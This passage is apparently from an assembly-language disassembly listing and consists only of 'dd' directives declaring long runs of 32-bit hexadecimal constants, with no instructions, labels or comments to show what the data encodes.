0FE0D81DBh, 0E69F0903h, 5B572D8Dh, 0B7971164h, 883D005Bh dd 0C9267F0Dh, 35F91509h, 793F6A65h, 80430093h, 2C0EA1BEh dd 51C0CB00h, 9DB129F9h, 6D6902C5h, 6A46807Bh, 0DE7C5Eh dd 70894317h, 6358684Eh, 60540D12h, 0F8657A88h, 0EB7919h dd 915C0A3Eh, 0A9D80266h, 905BB325h, 0E59623Ah, 72D2F326h dd 19F78400h, 0D2C54988h, 0E0805BCBh, 12A72434h, 89541260h dd 0F8AC7B2Dh, 3CE3FAC1h, 0CDF1E4E4h, 0CC4EB825h, 0F9B5279Ch dd 2EDAC3C9h, 6FAAA424h, 0F9B60363h, 4801C4E9h, 96C0B114h dd 4CC1B6Ch, 42E7D101h, 0ADBD0BF6h, 0B95B29CEh, 65AB8412h dd 59E2AE28h, 6AC5C94Ah, 0D1B841B9h, 0A998AA12h, 0E72ADEE1h dd 38C0B466h, 956D589Fh, 0D6070DCCh, 896BFB3Eh, 2F60CD7Ah dd 834F15h, 0B2490C19h, 6F9DC34Ch, 36918C0Bh, 0A41A51FCh dd 14DD096Fh, 0F8F8F414h, 5AE38012h, 9002F7E1h, 34B0D5DAh dd 0A5BCD7B7h, 1DE0B24h, 0E0963092h, 2FEEFFAEh, 8A98CCC1h dd 12C2EFD0h, 0E36CBB8Fh, 950904C6h, 0CEAE1401h, 0E1B04B34h dd 0FB96A17Ah, 0BE734ECBh, 0F4CAD327h, 5A27D996h, 8058FA90h dd 89384BDFh, 0F7DB2E8Fh, 3776AFC9h, 7E25EE40h, 8CC82815h dd 71580F8h, 92CC0089h, 354FD79Eh, 0A5006DDBh, 504DB0EDh dd 0E83FCB6h, 5F5BFDF4h, 9B552433h, 1DFFC193h, 0DD2B46E2h dd 0B0246692h, 1D0F93CCh, 0FABC8FF9h, 2BA58BA5h, 524DE1FCh dd 59F461B0h, 0F50713DCh, 0BB3B0F5Dh, 6BB3EDA2h, 0BC0A1ED7h dd 0A06ED457h, 561F29A4h, 5E417141h, 0E9A4822Fh, 0F6D27C3Bh dd 165EC548h, 23B8F6D0h, 0EE9A97EEh, 7FD7CE81h, 607E40E8h dd 20003E5Eh, 5C529BCCh, 760859h, 861ED1BDh, 25A6A51Ch dd 4017F6B5h, 0FEEDD312h, 2260E300h, 0A3833975h, 5B0B127Eh dd 880CF2FCh, 8E37AFD5h, 8B17F80Ah, 0CD495107h, 0BF078900h dd 343C1258h, 9E232C5Ah, 0C38061C0h, 25958982h, 675B1081h dd 5F181D79h, 0BC38A938h, 92053FA1h, 0BD57F9A8h, 0B8B0C4AEh dd 25A3D41Bh, 0C04C5C7Ch, 43C256BFh, 27B57395h, 52E226D0h dd 3BF135E3h, 0DDC8AB16h, 225E003Ch, 6AC66C53h, 640046DFh dd 2F2BA31Eh, 40E03B35h, 5B4ADE9Dh, 0BB4F36A9h, 8F02CC6Eh dd 2BA876CDh, 0C63F9989h, 6F3BA92h, 859D0307h, 0EA8B6A20h dd 0EFE56047h, 440779D5h, 2E935D47h, 0BAA86F60h, 6D1900C2h dd 0B5E6FCEBh, 955F9D89h, 41E27756h, 5CED9907h, 0F956A9C2h dd 1429E5E2h, 4949F4B5h, 82985866h, 766FF305h, 82BDC283h dd 0F615854Bh, 70E0E094h, 95290B5Fh, 58F414F5h, 0D03891C0h dd 8243017Ah, 8A392AA1h, 0FB74898Ch, 134C7B5Bh, 3EA9A9BDh dd 1F411231h, 9AB595ACh, 0F287C002h, 2E67ED52h, 9147BEE1h dd 65D8242Fh, 39116213h, 29CB830h, 3F3AD5E6h, 910295D4h dd 0ABF9040Bh, 0ED80312Ah, 116D8F10h, 0B4B2DB5Ah, 35BEAC00h dd 16E98A84h, 4C974C4h, 55445F09h, 2538AC00h, 119882D8h dd 0E81F4858h, 97C01D2Eh, 0B493B65Bh, 2BF4F35h, 3F18E2CCh dd 2BEF8455h, 9345F82h, 0A50BEC5Ch, 55E2A9EBh, 0D5009837h dd 38C01C33h, 9152B99h, 75FA31AAh, 0AFDC2A21h, 0FABF250Fh dd 581263E5h, 38A7BBAh, 4F7EFFBEh, 0D7EBBAD2h, 8F187C18h dd 5D5FE507h, 0BDFEC6FBh, 74F6F5B4h, 0C5F48BE0h, 0C77B1A0Fh dd 8B7AF408h, 0D6C756F9h, 2E241446h, 92A5237Eh, 4B67F3DEh dd 3222668Ah, 2FDEAE81h, 0B7534A30h, 0C65B2B04h, 0A64D8AEh dd 0D72CBA04h, 7BAB34DDh, 0C51B2F26h, 2878076h, 48E9FB6Fh dd 0CCFFF338h, 5C9269Dh, 8CBCC144h, 0FC0BD3Bh, 33BE805Ah dd 29F109A1h, 0C8B72A0Eh, 0CF75204Bh, 3C00CCB3h, 56FFA63Fh dd 27F8407Eh, 50585FA2h, 392C3690h, 0F3780CFh, 6B962AC5h dd 7AD49F20h, 0CB3FF780h, 339F5h, 0C1F36F2h, 0BE2A9497h dd 51A2AB4Ah, 0F57C7100h, 5FDD3344h, 8B905B09h, 0DD6DFFFAh dd 4DCDC0EFh, 591B50Bh, 850912BDh, 337DE1FDh, 20FE5ED9h dd 761E0182h, 5721FB00h, 7BD01F2Ah, 0EC274BC5h, 925FCDBAh dd 15D6F3Ah, 0ADF27852h, 2831072Fh, 0C6058431h, 0B70C45BEh dd 9BC8037Fh, 0D2C517E2h, 0B2FA235Ah, 11E90511h, 19FEE300h dd 629DBC31h, 30CEB701h, 0A14A4DB2h, 0AA7DD3E0h, 80177D5h dd 3FF2B1D1h, 868D1F1Ch, 0E93F4710h, 166B1721h, 5F2ED8BBh dd 9BD9E8AAh, 69035F2Fh, 0F8815639h, 5E2CDCE2h, 34CFD200h dd 655C1E67h, 0DC17B490h, 0EEC8E700h, 0B5EC866Eh, 5B1E05CCh dd 0FB45BD2Bh, 0EE9BCC56h, 0ECBE05C0h, 0D113544Dh, 53DB6AD7h dd 0DFE0ADC0h, 0DC3CBFBCh, 0C46DA576h, 3C51FC92h, 3704F23Ch dd 0BC64B0CEh, 9EB7C45Ah, 0BEF575ABh, 0D7F321A3h, 0FE9F41F0h dd 47E9BD00h, 9501BAE8h, 2E139205h, 940D1FFh, 607908CDh dd 0CB5D7EC4h, 0ABA2A5B5h, 0C0FE026Ah, 0BA418A2Eh, 882F909Ah dd 0CF3FEE96h, 0FA5800F0h, 0F42B6AEAh, 0F21C0425h, 82D2A429h dd 89505736h, 61032BA6h, 0C8EF22E2h, 51B7F066h, 5F01E926h dd 71086E50h, 31D9A50Ch, 0A90242A5h, 597F73BAh, 3EC5181Bh dd 6FA661CFh, 0E936048Bh, 8A8EAB3Fh, 58E2A510h, 0FDFE2401h dd 698A2915h, 4E44FE92h, 0BD0FD5C4h, 10BDD056h, 60481B51h dd 1889DF25h, 340FD2D9h, 93DA0A2h, 3046D68h, 325956D0h dd 0E597FF0Eh, 19A151F2h, 76C8DF00h, 1CAC387Dh, 309A0B00h dd 7FB0CFAEh, 2A18EEA3h, 4AAA2BB7h, 0B8F0F990h, 0F0DD00FBh dd 0F2BC1064h, 0B1970189h, 0CA2AF85Bh, 0DF9A5AD6h, 4DD8A682h dd 0F5AB980h, 76BD16E6h, 919D614Ah, 7D722F2Bh, 25F45050h dd 0E958C257h, 0DC2C5EB7h, 170AB1E4h, 3B890F92h, 1FC9B584h dd 0F101955Dh, 0F3CA885Bh, 14B01E02h, 5E9163B3h, 522BC437h dd 0C92AE5E1h dd 91C72A18h, 70E60F08h, 0C14A87ABh, 6A9AAE80h, 606971E4h dd 69C6FD1Ah, 5E892140h, 117FE85h, 0F31F93ABh, 0B5092B04h dd 28BC29D9h, 9FCFA996h, 6750A4A1h, 65FC10C0h, 6617CC3Dh dd 80099957h, 0EA2578FBh, 722BF64Ah, 0C8C84F51h, 100F866h dd 20078042h, 26D13A3Fh, 88338BDDh, 0C4250EF9h, 0D0FADD2Ch dd 0F7844F11h, 0EB817C41h, 212FFE79h, 18193520h, 0A7034585h dd 44EC5C9Ah, 0DE08241Ah, 44F89801h, 618006E1h, 0EB6352E9h dd 1C198509h, 95442179h, 0FD41ABBDh, 622F1AC5h, 60244221h dd 731D77E2h, 7BD88717h, 24ACC10Dh, 0EAA6C044h, 10A70E01h dd 1CAABD99h, 4B4E32Ah, 61D78B5Fh, 298137BDh, 831F5B5h dd 0CA7C8A04h, 2CB91934h, 185FAC84h, 12C3B7FAh, 0FB958B56h dd 625A414Bh, 0CBCDED22h, 95D24CD7h, 359D3E6Eh, 12CC0288h dd 9F5EA3AFh, 9DFC9840h, 0BD900022h, 0D36315DBh, 0E8225CCCh dd 0D570000Bh, 0CF16A764h, 96264828h, 992D9A68h, 0B9C45B46h dd 0B7107032h, 54DC3774h, 97D8A28Ah, 177B6A8Bh, 24664670h dd 173D7779h, 0FC138245h, 0EF715D5Bh, 5AE50220h, 0AC23E219h dd 0D3E4009Fh, 57077DFFh, 0E2080280h, 0A6BA5F56h, 57189AAh dd 0DBFA945Ch, 268B5049h, 625D0D34h, 0D5DE5C84h, 4668FCC0h dd 700117AFh, 0D0BBA08Ch, 5EC2782Eh, 16DD4A8Ah, 0F1C5242Dh dd 0E8FC2D08h, 0AF3A0465h, 0D9D6B23Bh, 0D9DD2A28h, 0A067B62Ah dd 1A253057h, 5A26D940h, 56F9A9FDh, 0B5BD5EDBh, 13BA1ED3h dd 0C0AE064h, 1184604Ch, 0B5171359h, 61AAA0CDh, 0C0614D97h dd 4929611Ah, 0E5EFF502h, 5EB75FFFh, 141E51C3h, 0DFA4D8AAh dd 260DB023h, 10590821h, 0F8E1FF0Bh, 0CE174B01h, 97A8227Dh dd 0B6697814h, 516DFF1Ah, 2700CBC7h, 12757DF5h, 0F225FBEAh dd 0A04F8899h, 491D13ADh, 0B36FAB60h, 2B10C901h, 2FEAB33Ah dd 6EE09012h, 0EEF0481h, 0BD2C332Ah, 1C21C4Bh, 0DE9C5625h dd 2C23C70Eh, 5665818Eh, 0C1642E64h, 0A2325AB8h, 4A34A864h dd 12A2C843h, 8E459Dh, 0E1649F47h, 41BD759Dh, 0B9042519h dd 95F9D268h, 0A70558A8h, 0C4542A8Ah, 37CC1584h, 105A1C13h dd 0F379C092h, 0B88AAD2Fh, 1260D54Ch, 7DAD2404h, 8902C7B8h dd 794F6B8Ch, 0D0AFDB1Eh, 0AE058610h, 1538FCC5h, 0DFD3C703h dd 0CF0A0989h, 0D4599D4Dh, 0C50BB61h, 62647ECAh, 0DA565B57h dd 0E6C4A5h, 0B82E1046h, 2B6499B9h, 0FA8B570Bh, 0F946895Bh dd 0EDD982F1h, 507F659Ch, 9A070018h, 0A3AA0AF4h, 5F4A10B7h dd 0F65B33F3h, 53161CDFh, 0CC1CDF01h, 1907AF57h, 0DC2FF6h dd 41683D29h, 0BD09EAFBh, 4F85D159h, 78D70A20h, 0CEC20A01h dd 2945195h, 5BC7D4EFh, 5349E57h, 0E96DEF80h, 70B7BFF1h dd 4F930CA0h, 0AABB9104h, 9BA37A4h, 0BDD74C40h, 7F5F806Fh dd 0D099CD58h, 0F6C4D53Ah, 537D817Ch, 1196F358h, 57A0FE9h dd 1520FD24h, 0A8E7EF9Ah, 0B7E65B25h, 0C18D3109h, 0EA7C5E28h dd 0A208091Dh, 89928279h, 0F6E6FBEh, 0E28E2B74h, 0DC810FBBh dd 0AEFA6461h, 2D98CB34h, 1EDCBF09h, 0FD92239Dh, 466ED3h dd 0A8E8F768h, 0B7962225h, 7BE950FEh, 0DA81C9DBh, 0F520660Fh dd 82242F68h, 0C06B9BBEh, 142982FBh, 0AA9607BAh, 0B0E068A7h dd 56BB4FC2h, 15309813h, 3E1FF4A0h, 0F64EDDC0h, 8CF7E0CAh dd 0CA140139h, 0E17A7E30h, 0F7E26DBh, 54D9AF48h, 5A7153F1h dd 196BFBh, 0D3797AA6h, 24F3622h, 0B8666090h, 0C66D241h dd 0F3E5BB00h, 28B0C25Bh, 0D7680243h, 21974F69h, 5B3A185Dh dd 0F460F061h, 0A3CE07B8h, 0A45E35F8h, 80F1A890h, 0D2E69355h dd 9D8917A7h, 0AA5DC4A5h, 1CC8A2DAh, 7AF155C0h, 0B99B506Ah dd 61A12583h, 76709873h, 3B1209C0h, 74D016F7h, 0D3FB99A0h dd 9A69697h, 2821BD2Bh, 3FC68A79h, 7214BB27h, 6778FFh dd 0F605A7Bh, 2956CABFh, 0E1952Dh, 0E96159EBh, 42B29C27h dd 31050DA5h, 2E08B5BAh, 14E2886Bh, 1209B330h, 0B2117595h dd 10A416FDh, 48E99E47h, 0D64F1224h, 0DF7182C0h, 0D1004E47h dd 0A53D5409h, 704B77FDh, 282FF75Ch, 5700180h, 0E2626D9Fh dd 0C45B57Ch, 2F04D788h, 0EE458710h, 2ACC2100h, 0D371CE26h dd 335E4FAh, 311DDF07h, 0EE9DF985h, 0F88B8E45h, 80882AFFh dd 8248D4B4h, 0DDF704A8h, 0BD311894h, 9C7A4A81h, 0C9D32F5Ch dd 70A60732h, 0F91047A1h, 52369A1Bh, 995BB3C8h, 0E73B48B5h dd 0A507B009h, 20674ABFh, 0DCD5783Dh, 7F199400h, 0FE9B3852h dd 0D65A0681h, 7A795C72h, 76E21A97h, 65C6403Ah, 2EE60F2Fh dd 0B31C19Dh, 9D3BAC14h, 0BB256D84h, 79A633C0h, 7C79B037h dd 579603FBh, 505FDD8Ah, 2D1DC18Ch, 6EE7DFBFh, 0AEC6B884h dd 1423F26Bh, 85018E02h, 2F105D1Dh, 2F5A12EBh, 0F3A9CFE2h dd 2DA01CF3h, 360129E4h, 0BD8974C4h, 0A63B11D9h, 3114F26Fh dd 0D1E72ADCh, 8F8BDA5Bh, 38B66262h, 3B325DBFh, 0CF9FF958h dd 0C9C14086h, 363C972Eh, 235389AAh, 0BE21D058h, 0DAF34074h dd 4D07EA2Fh, 87116172h, 6FCBE0EFh, 139A96AAh, 0A11A085Dh dd 0B8253D36h, 7C0E0371h, 60D88B48h, 8AB4EB9Dh, 0F89705B8h dd 0AE61318Fh, 0D46BE275h, 0D0BC8E00h, 0BFD13CDEh, 435E9809h dd 0AE46D120h, 0B11DDC09h, 0EF57BC0Eh, 0C6745AF1h, 0A49D7D8Dh dd 0A18DA0CFh, 18409D07h, 6C977FD1h, 61F9BC4Fh, 5197DBDh dd 0FC784CB1h, 0DDF288D2h, 72DB4400h, 0C2B983AFh, 0A82A09D6h dd 565196EFh, 3668000h, 8ACE71h, 696A609Bh, 19113B64h dd 9630D231h, 0DF21E29Eh, 0B24CCE23h, 7C80333Ch, 0C816B62Ah dd 0ED0BAC77h, 7F04FC51h, 0D8489546h, 0BA358F6h, 813AB1BEh dd 6190A5A7h, 0B260F62Ah, 40C6301Ah, 30FF7001h, 95317D1Dh dd 0EC64947Ah, 0FCD4B3Bh, 4917C86Fh, 78A31A4Bh, 9C5FB97h dd 3B8C9F9h, 0B9E55900h, 50A7904Ch, 0FB4709BFh, 0BD06425h dd 7AFD8A2Ah, 822337BDh, 8D852949h, 565EAFEh, 0F91664BEh dd 1BF71E72h, 0E7BF87FAh, 0BD800890h, 9B84C168h, 181771BAh dd 0E31D1686h, 9090B89h, 6E554642h, 60F6ADB6h, 274C561Dh dd 9F45149Dh, 725C1EE2h, 8D160EDEh, 0B94283FEh, 0E6517E37h dd 0CE93FD02h, 51A2F6B4h, 2F8DDDCFh, 5F250ACBh, 254CFD1h dd 0D9E0171Fh, 0D3E8D586h, 0C65E0FD6h, 9989AF9Eh, 76E9A1D1h dd 662DD447h, 35B1FDBCh, 0BF5B8305h, 89294FB1h, 0F13AC9E9h dd 9DCC2084h, 5CBEDD5Fh, 7D055141h, 0BC9DC14Dh, 5E160964h dd 0BED37114h, 57071011h, 0F0792C84h, 730A8F97h, 193DA001h dd 0FCB51C76h, 7303170h, 0BB905BC0h, 4F454161h, 0DEAE9E50h dd 17E6CA3Dh, 27E2C4E0h, 8C610712h, 0E077D90Ah, 1281AA1Eh dd 0A3C7802Ah, 0FCA7846Bh, 8A109810h, 62CAC5FCh, 1CE6AFF3h dd 0C5CFE9F0h, 41774312h, 5681A5E8h, 0E4F74D61h, 63EA958Ah dd 78D84B1Ch, 8FA25B93h, 0E8806080h, 83A0F5CAh, 65F8BB50h dd 0CC5EA13Bh, 2E1618FAh, 42998DC3h, 69E94A0Ah, 0F609F4B8h dd 79D0CE97h, 0BD2382F4h, 0EE7518D5h, 219B81B0h, 0D1FF02FEh dd 58004551h, 5FD20EEFh, 93A6C220h, 0DD5E5B27h, 0A156851h dd 17F34400h, 816F02h, 2FA2CD83h, 16808702h, 0A890B1D2h dd 0EF3020DAh, 0A5DDF838h, 0B6834FD9h, 0E1CEAF47h, 19DD7732h dd 9AAE32Fh, 7D330FEDh, 250358Ah, 140D9529h, 87E8E45Eh dd 1293F915h, 44E8EAE9h, 5F36CE1h, 0FED80882h, 0B8C625B9h dd 33201997h, 1120C96Ah dd 21AEBAF7h, 520C858Bh, 32AE51C0h, 124258D6h, 97002CC6h dd 126C7F9h, 9035060h, 48E3A63Bh, 3C938578h, 0F3181D51h dd 35A7D91Dh, 0E389D442h, 1200F0D5h, 0F534ADDBh, 0DCB72BAEh dd 1BA175E0h, 9EC5E34Bh, 25A7A6BEh, 6BC85687h, 76E4D5h dd 0C678D6BBh, 0F98A5B02h, 6EFF6A5Fh, 6D730EDDh, 0A8D6A0ADh dd 5A64578Bh, 11CC259h, 0DA4466D4h, 508BA2BDh, 66804BF3h dd 0EE9716FFh, 5FC51623h, 0FAFDC07Dh, 0BB1C5B18h, 5E49E36Fh dd 60A7FEB0h, 969294DFh, 1AA1121Dh, 0E26236C0h, 488A2CA5h dd 0BD1F89DEh, 725EE7DDh, 21CF562h, 276071E4h, 0E6950B75h dd 9D0266E0h, 0ED3C23h, 4B559D2Bh, 0E8BEC80Ch, 5D5710E9h dd 351B0063h, 0C4E16D5Fh, 47054F19h, 5115C77Eh, 2D7EFDB8h dd 765106BAh, 702F26A6h, 2E1541A3h, 78FCDD09h, 208DB0CDh dd 0E1B72B3Dh, 0E32A20BDh, 9C5108Fh, 1B1CF092h, 0D3A2E980h dd 0E2F91E67h, 386CF09Dh, 5F804C44h, 7A1DE781h, 83971E74h dd 365652CCh, 0B0E5098Ch, 2DF164B5h, 0EB711985h, 0B84E0E91h dd 7914329Dh, 0FA6FA466h, 0E8D7C1BCh, 17B98224h, 0D05E40CAh dd 9A9E005Fh, 6FE1C6D5h, 0F80AFE60h, 0FD3784C0h, 468DC702h dd 44D35E5Fh, 0D8885236h, 0B02D1D37h, 0F372050Dh, 0F5F4BE7Eh dd 2AA804BFh, 0BD7F800Ah, 0E3189C7h, 0C0681095h, 0BD0B408Ah dd 94973069h, 6FDE16C7h, 0BDF2FD17h, 0BBA76040h, 27087E0Eh dd 70DB6A30h, 9A752678h, 860F2F87h, 38509875h, 2D799804h dd 277BADD7h, 8181959h, 171F9A38h, 0E8408A2Bh, 0E9B9433Ah dd 14FB970Fh, 123294D0h, 15FF7Bh, 47F8E341h, 85976B44h dd 0BAFC50CDh, 24BD31C7h, 5E5F0B0Ch, 0C87DDE5Ch, 0A38DCD00h dd 2BF57B20h, 9B7395C0h, 66181451h, 0FAFCD3B5h, 1100CB6Eh dd 76A19623h, 2D9A86F4h, 747907ADh, 0BCD62B90h, 0D32325C0h dd 20FF2817h, 91F01CDh, 0E5E53595h, 0BDB5A793h, 0FC76B907h dd 4F1C44Bh, 9EF83CB7h, 5E09FE3Dh, 809B7B0Ah, 9839CF81h dd 0D1B547E3h, 86AE76AEh, 75BC502Fh, 0DC569211h, 0DF0080AAh dd 818CFF9Ch, 9034DED8h, 91194AF1h, 0DEA1B584h, 42449CD7h dd 0EB810268h, 0DCB81BDCh, 0FE00FCDDh, 2DDD8611h, 0B5A7600Eh dd 895CB61Ah, 0D3E59E6Fh, 47B5D01Fh, 845CA98h, 0C4028CD8h dd 0BC03B30Dh, 0DDC4A3AAh, 5E7AFEh, 615F19B4h, 720E2BF4h dd 30A580D6h, 0C46D7195h, 0AFBB43A8h, 5D4DB2D1h, 6FF94E16h dd 9D088B8Ah, 60131465h, 2DE2B6B6h, 2724B75Eh, 740FF909h dd 1D46D42Bh, 57912F00h, 2B32649Ah, 40581C01h, 0DD953360h dd 104BA97Ah, 612507C1h, 1116EAE9h, 0BFD8F380h, 1007132Dh dd 6BAB06h, 69001D23h, 911706C9h, 836838AFh, 2D39B874h dd 5EEAF59Dh, 7EA5BE5Ch, 7128F47Ah, 4009B587h, 6490E6C6h dd 0E0827D63h, 0DFD85183h, 531202DDh, 4021E2h, 9B590D9h dd 807DBD92h, 8D68B8E7h, 0E65C617Fh, 2B05AEDh, 0BD841472h dd 0B12ABB19h, 775B95C1h, 7337185Ah, 95B3B08Fh, 1564C1CDh dd 6B767F61h, 0CC043C34h, 0E6C82BB5h, 0E92140E5h, 1C013520h dd 921CAEBFh, 5A3EF327h, 0F01A413h, 19D18D09h, 2695E72Ah dd 0FF2DC189h, 50B53C02h, 54D888D3h, 41EE25A5h, 0F89023ECh dd 6FED2BB2h, 6C00656Fh, 0ABB33CA0h, 2135C2Dh, 28BA5626h dd 2BA08F76h, 0B14BF780h, 35BF1EC4h, 0C2B9E08Dh, 0B8F39A5Fh dd 0D57CA00h, 97312284h, 0A43C2309h, 0A80E7996h, 0D9D2549h dd 0BE797329h, 2508E4Ch, 0A624BB53h, 64D701D9h, 0BA6000A8h dd 146BB95Bh, 5613BE66h, 44BA619Fh, 520DE836h, 0B3AEB0AEh dd 2E158C00h, 0E8B8C7EBh, 0C0BF05C5h, 0B838881Ah, 0FE8B13F9h dd 0B34531BAh, 8A62DED7h, 6F882F52h, 2001AEFBh, 86646E9Ch dd 5EC6C38Ah, 53E06B12h, 0B03DBB50h, 623B277Ah, 5289B180h dd 5BAD816Ah, 0F06B6661h, 90B63C75h, 0D9CD123Dh, 2B38AE29h dd 1FBD21B5h, 160E69E7h, 803ADBEAh, 1BAEC4A0h, 0D8690B96h dd 87C02536h, 0E9348CB7h, 0DBFB2A56h, 573BC9CBh, 1147A98h dd 0C0A64600h, 0D424BC62h, 7BBF478h, 2D81FB16h, 0BFEE304Ah dd 2F127E70h, 0C6E35F6Ch, 0A8545DBAh, 7B9E000Eh, 0B3C4D39Bh dd 609F1613h, 951CD9D5h, 4A01F73Dh, 1C48FE30h, 4A19EF20h dd 0E1B8B81Bh, 0B72F0491h, 0CEECA0DEh, 0FE65129Fh, 63482C2Bh dd 0EC1A0449h, 25205FE1h, 5CCFAF57h, 66449202h, 4DD54D9Fh dd 0BC536BCCh, 8AF10502h, 78275F4h, 0EC5C3EF2h, 59B85B69h dd 2D4C1816h, 315EF55Bh, 37F41502h, 618B617Dh, 0AD4A3F38h dd 0A29AD29Eh, 0F380E48Fh, 184EFC0Fh, 8057D99Dh, 201EA3E3h dd 0B875FD6Ch, 275FAF00h, 0F41CA7BAh, 0C4FF0BA4h, 0F5DEB42Fh dd 23577427h, 3B0B26A9h, 97C66A25h, 45F32F88h, 0D4BEBD0Eh dd 0B36020DAh, 30190Fh, 0B2D70B17h, 43089CFAh, 3585FAA0h dd 1ED7A9AAh, 6710B78Eh, 4400B92Dh, 15567407h, 4FE37A70h dd 5FF300BCh, 1239B529h, 796C7BB5h, 3184C317h, 697CE930h dd 82758A70h, 57C63B5Bh, 0DEBA95B3h, 442F725Ch, 85FE4B56h dd 0B8A8B960h, 0F8DC4014h, 0E28AB5A1h, 0FBEB565Ch, 32015091h dd 0FE114605h, 17B1483Fh, 0A755122Bh, 84C4B061h, 60F1383Bh dd 8992F9B8h, 9D4BFABDh, 0DEEDFE6Ah, 0A563E718h, 9EB815Eh dd 85DD4F9h, 78F84131h, 3704D679h, 96092529h, 5DE7157h dd 0AE585360h, 8B8ED782h, 25F75E0Bh, 3C103363h, 0F1400AF1h dd 0FC373FE8h, 1CB921CDh, 0D9B7D48Eh, 0A568B199h, 0F1B22A24h dd 80169AD2h, 3A2E624Ah, 0D491255Ah, 1C114CC5h, 37BB6602h dd 2759501Fh, 62C35C25h, 0AD57F98Ah, 0F87FA242h, 3BDA4A2Fh dd 4CC01BC8h, 948877Ah, 0EAE498FFh, 950F1098h, 0D2FA7000h dd 5009B593h, 0A03500F2h, 3BC1E96Fh, 31047B9Ch, 599D016Eh dd 0C1D4D4FEh, 2E0A995Dh, 0E9A66274h, 0EB1F2BE0h, 0C4878600h dd 0CD53D9F7h, 5CD30581h, 6456CE27h, 1D8C0480h, 0D058B905h dd 79D512AEh, 0C28E3DE2h, 80FE9E13h, 0F9EF591Dh, 6A8016AFh dd 4688FE09h, 7D7887h, 2F02C7A5h, 318AA162h, 2B35B515h dd 0B44394h, 0AF631145h, 7E59CAh, 8A3637E1h, 88509F13h dd 3001C67Ah, 9D238082h, 2B090A75h, 9BFF5416h, 0C410C0CFh dd 0E9031Eh, 0D99E3C1Dh, 5B3AB757h, 20E9C64Bh, 0E417EDE8h dd 8B948F0Fh, 47C89DC0h, 9512E81Ch, 6103915Fh, 2FC0C22Ah dd 95521EDDh, 5A000144h, 16014453h, 9DA7F5F1h, 0F3816094h dd 605BFDE1h, 1FFD931h, 852E16E9h, 94A3BE10h, 97C1EBA4h dd 0A67A1E01h, 0FD3000EAh, 626FD3D4h, 217761h, 0A79B1F1Bh dd 79E63817h, 0C674F712h, 9BB8DE0h, 6773BFCFh, 882E31D7h dd 69624F69h, 61022A25h, 9CF9DF90h, 9A265016h, 0F5BF190Ah dd 7F84226Dh, 81A43AACh, 50B99E9h, 9BDBC8h, 0E7A10944h dd 8F98B052h, 0EAAE6502h, 55F448C6h, 88262CDEh, 546A5B8Dh dd 0A898B31h, 0E5139529h, 2C4C20Eh, 736FD718h, 50C0C925h dd 7EE38501h, 0B2A30352h, 6FD0124Ah, 8AEA4A14h, 31AE4024h dd 0D412A99Fh, 0F50EDEB6h, 74ADBD29h, 7B033C24h, 0C9F7075Ah dd 443EA05Ah, 7A8C1B4Bh, 0DDD148FFh, 94956D22h, 0D960456Ah dd 51212A82h, 6E6F026Ah, 0F0ED00B3h, 0D0DFA4D4h, 4E213BBh dd 9DCB059Fh, 91C38821h, 0B5503040h, 2C115C10h, 0D6E57401h dd 292D26ABh, 2530C956h, 60C50F21h, 2C8DBD04h, 0E9DE8A01h dd 62382E2Ah, 0B71D92CEh dd 43ADF883h, 2A059010h, 0AF282184h, 50FC2570h, 31B50CBFh dd 518D7636h, 0CFE64097h, 0CC020BBAh, 11897FC1h, 0BF975158h dd 124C928Dh, 5A46B2B8h, 0A782869Eh, 0A642511Dh, 8B910375h dd 52210008h, 1485F781h, 0D4BD2F31h, 0FA8B65E5h, 2D29F7F4h dd 0F6D2CD9Dh, 6D81FF4Ah, 7A60DEC4h, 56BCAAA1h, 2A5B69E7h dd 0B388D216h, 0B00140EDh, 0FA96CCD8h, 70E6255Fh, 2BF8FB61h dd 6465F75Fh, 0AC92566h, 5762F164h, 9309D14h, 0D9ACE051h dd 0BFC302C9h, 7C806203h, 0E4422561h, 349B10D7h, 99B00059h dd 0F653AC1Dh, 3D096FB4h, 587BE89Eh, 2BFC00F6h, 0BEECBBC8h dd 58957E6Eh, 296A44DDh, 0B2D256B7h, 2E52CDDCh, 4C508500h dd 80524755h, 0E52D5ACBh, 340E9BD4h, 0DFBF800Ch, 298D286Bh dd 3BDB1784h, 6F19CDD0h, 803F03ADh, 0DD6665A5h, 177A8964h dd 1D9862AEh, 54B50922h, 0B34CA502h, 402ABF05h, 0A210455Eh dd 0AC984A53h, 177F25C7h, 3DE74E4Dh, 0FB8D9903h, 0A12FF0DBh dd 0B66A5A75h, 0F75CF19Eh, 9A711F4h, 0DBB13F7Dh, 6554D02h dd 80D06E55h, 2D3E56F8h, 9D72ABB9h, 14B19D10h, 3035B7C7h dd 0B36EE4BBh, 65536D4Bh, 39606FFAh, 218201BBh, 413ACF58h dd 91F1202Fh, 9B0270DCh, 0FB8A5B6h, 9F811281h, 2A516FF7h dd 6E7F9EB1h, 70B25E5Eh, 8A63BB14h, 0B7564C25h, 11946FEh dd 8B7871A5h, 0B484C507h, 0AB166BE7h, 165FC61h, 66A64A0Eh dd 0A23DC1A4h, 92ED6E64h, 82263058h, 85296156h, 100B2FA5h dd 0ACB5555Bh, 0E186CA7h, 7F12BC30h, 0A51412D2h, 8D2E2A40h dd 61C01CC8h, 5289397h, 4690456Ch, 3F31BE07h, 83BDF80h dd 0BF8105A1h, 4553C62h, 5B8A72Dh, 76189925h, 9D0940A6h dd 57990729h, 672BA53Fh, 0E1F038B9h, 0F0F8B62Eh, 82352C40h dd 0B19BF662h, 7EFC4F4h, 9958D93h, 0CDADB75Bh, 80D5CB6Dh dd 0FFD33B19h, 7953BBE1h, 438C40A7h, 0A10102B9h, 811108AAh dd 2FEC75CBh, 0D5949523h, 0A401E645h, 382B10A9h, 26D3EEB1h dd 0ECBD50A9h, 3C016DD0h, 6030F84Eh, 0DA31CA8Bh, 61A5926Eh dd 7F51D856h, 0CDA6BE15h, 0C19DD5E0h, 0BC32E700h, 104C3994h dd 4DBD1631h, 0A822BD09h, 7E268C15h, 0CE022385h, 5605B830h dd 168826F8h, 163DF733h, 9BC0B41h, 0FF011FC5h, 0D900407Ah dd 93AB327h, 125A918Dh, 0BF0218B7h, 3E4E4BDBh, 46D6C956h dd 4D94001Ch, 102EF86Ch, 46782E06h, 90811273h, 41B8606Dh dd 6411AE05h, 0D4AF29B4h, 0B908E9A6h, 0B927FE2Ah, 4B185529h dd 0FA9F3B5Bh, 13D40028h, 3DEA7F21h, 0E802ECEBh, 51729F68h dd 3290776Eh, 7CBF2F2Ah, 0B0825201h, 48D5F84Ch, 2C71601Fh dd 89646E4Eh, 645108EAh, 0D5D30EBDh, 8910E209h, 1BEFDF85h dd 0E9FE74C0h, 0F7FFA2BAh, 